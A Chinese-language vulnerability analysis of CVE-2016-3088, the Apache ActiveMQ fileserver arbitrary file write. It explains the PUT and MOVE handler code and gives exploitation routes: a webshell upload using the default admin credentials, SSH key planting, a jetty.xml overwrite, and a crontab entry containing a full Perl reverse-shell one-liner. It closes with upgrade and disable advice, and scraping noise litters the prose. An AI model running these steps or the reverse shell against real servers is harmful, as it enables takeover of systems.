ActiveMQ 是 Apache 軟件基金會下的一個開源消息驅動中間件軟件体谒。Jetty 是一個開源的 servlet 容器杯聚,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運行環(huán)境营密。ActiveMQ 5.0 及以后版本默認集成了jetty械媒。在啟動后提供一個監(jiān)控 ActiveMQ 的 Web 應用目锭。
2016年4月14日评汰,國外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個安全漏洞纷捞,可使遠程攻擊者用惡意代碼替代Web應用,在受影響系統(tǒng)上執(zhí)行遠程代碼(CVE-2016-3088)被去,漏洞影響版本:Apache ActiveMQ 5.x ~ 5.14.0主儡。
在 ZoomEye 上用 日期 和 ActiveMQ 作為關鍵詞檢索,分別探測了2015年1月1日(漏洞爆發(fā)前一年)和2017年1月1日(漏洞爆發(fā)后一年)互聯(lián)網上 ActiveMQ 的總量情況惨缆,如下糜值。
ActiveMQ的web控制臺分三個應用,admin坯墨、api和fileserver寂汇,其中admin是管理員頁面,api是接口捣染,fileserver是儲存文件的接口骄瓣;admin和api都需要登錄后才能使用,fileserver無需登錄耍攘。
fileserver是一個RESTful API接口榕栏,我們可以通過GET、PUT蕾各、DELETE等HTTP請求對其中存儲的文件進行讀寫操作扒磁,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷式曲,但后來發(fā)現(xiàn):
- 其使用率并不高
- 文件操作容易出現(xiàn)漏洞
所以妨托,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之)吝羞;在5.14.0版本以后始鱼,徹底刪除了fileserver應用。
原理
首先下載源碼脆贵,ActiveMQ 中的 FileServer 服務允許用戶通過 HTTP PUT 方法上傳文件到指定目錄医清,在..\activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\activemq-fileserver\src\main\java\org\apache\activemq\util目錄下的RestFilter.java文件中可以看到put的處理方法。
protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (LOG.isDebugEnabled()) {
LOG.debug("RESTful file access: PUT request for " + request.getRequestURI());
}
if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
return;
}
File file = locateFile(request);
if (file.exists()) {
boolean success = file.delete(); // replace file if it exists
if (!success) {
response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
// existed
// and
// could
// not
// be
// deleted
return;
}
}
用戶可以上傳文件到指定目錄卖氨,該路徑在 ..\activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\assembly\src\release\conf 中定義会烙,如下:
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver" />
<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
<property name="logUrlOnStart" value="true" />
<property name="parentLoaderPriority" value="true" />
</bean>
其中put方法調用了如下函數:
private File locateFile(HttpServletRequest request) {
return new File(filterConfig.getServletContext().getRealPath(request.getServletPath()), request.getPathInfo());
}
后臺調用move關鍵代碼如下:
protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (LOG.isDebugEnabled()) {
LOG.debug("RESTful file access: MOVE request for " + request.getRequestURI());
}
if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
return;
}
File file = locateFile(request);
String destination = request.getHeader(HTTP_HEADER_DESTINATION);
if (destination == null) {
response.sendError(HttpURLConnection.HTTP_BAD_REQUEST, "Destination header not found");
return;
}
try {
URL destinationUrl = new URL(destination);
IOHelper.copyFile(file, new File(destinationUrl.getFile()));
IOHelper.deleteFile(file);
} catch (IOException e) {
response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
// could
// not
// be
// moved
return;
}
可以看到該方法對目錄路徑沒有任何限制和過濾,因此漏洞原理如下:
fileserver支持寫入文件(但不解析jsp)筒捺,同時支持移動文件(MOVE請求)柏腻。所以,我們只需要寫入一個文件系吭,然后使用MOVE請求將其移動到任意位置五嫂,造成任意文件寫入漏洞。
利用
文件寫入有幾種利用方法:
- 寫入webshell
- 寫入cron或ssh key等文件
- 寫入jar或jetty.xml等庫和配置文件
寫入webshell的好處是,門檻低更方便沃缘,但前面也說了fileserver不解析jsp躯枢,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋槐臀;寫入cron或ssh key锄蹂,好處是直接反彈拿shell,也比較方便水慨,缺點是需要root權限得糜;寫入jar,稍微麻煩點(需要jar的后門)晰洒,寫入xml配置文件朝抖,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑谍珊。
webshell
需要寫在admin或api應用中槽棍,而這倆應用都需要登錄才能訪問,默認賬號及密碼都為admin抬驴,我們可以通過put上傳webshell到fileserver目錄:
我們發(fā)現(xiàn)提示401炼七,是需要登錄的,所以說比較雞肋布持。我們登錄之后再put
我們通過訪問fileserver/1.jsp發(fā)現(xiàn)上傳已經成功豌拙,但是由于該目錄沒有執(zhí)行權限,所以沒有解析:
接下來通過move移動到admin或者api下:
首先要知道絕對路徑在哪题暖,這里有兩種方法:
- 訪問http://your-ip:8161/admin/test/systemProperties.jsp按傅,查看ActiveMQ的絕對路徑:
2.通過偽造特殊的上傳路徑爆出絕對路徑(5.7.0 復現(xiàn)):
接下來通過move方法,將木馬文件移動到api或者admin:
接下來訪問木馬:
成功解析胧卤。
寫入crontab唯绍,自動化彈shell
這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件枝誊。
這是一個比較穩(wěn)健的方法况芒。首先上傳cron配置文件(注意,換行一定要\n叶撒,不能是\r\n绝骚,否則crontab執(zhí)行會失敗):
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.17.131";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
將其移動到/etc/cron.d/root:
發(fā)現(xiàn)計劃任務已經寫入祠够,等待反彈shell即可压汪。
這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件古瓤。
上傳SSH公鑰
首先生成密鑰對止剖。(如果已存在則不需要)
然后上傳腺阳、移動到/root/.ssh/并重命名為authorized_keys
之后ssh登錄即可
寫入jetty.xml或jar
理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉穿香,然后再寫入webshell亭引。
有的情況下,jetty.xml和jar的所有人是web容器的用戶扔水,所以相比起來痛侍,寫入crontab成功率更高一點朝氓。
解決方案:
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除魔市。建議用戶升級至 5.14.0 及其以后版本。
通過移除 conf\jetty.xml 的以下配置來禁用 ActiveMQ Fileserver 功能
參考鏈接: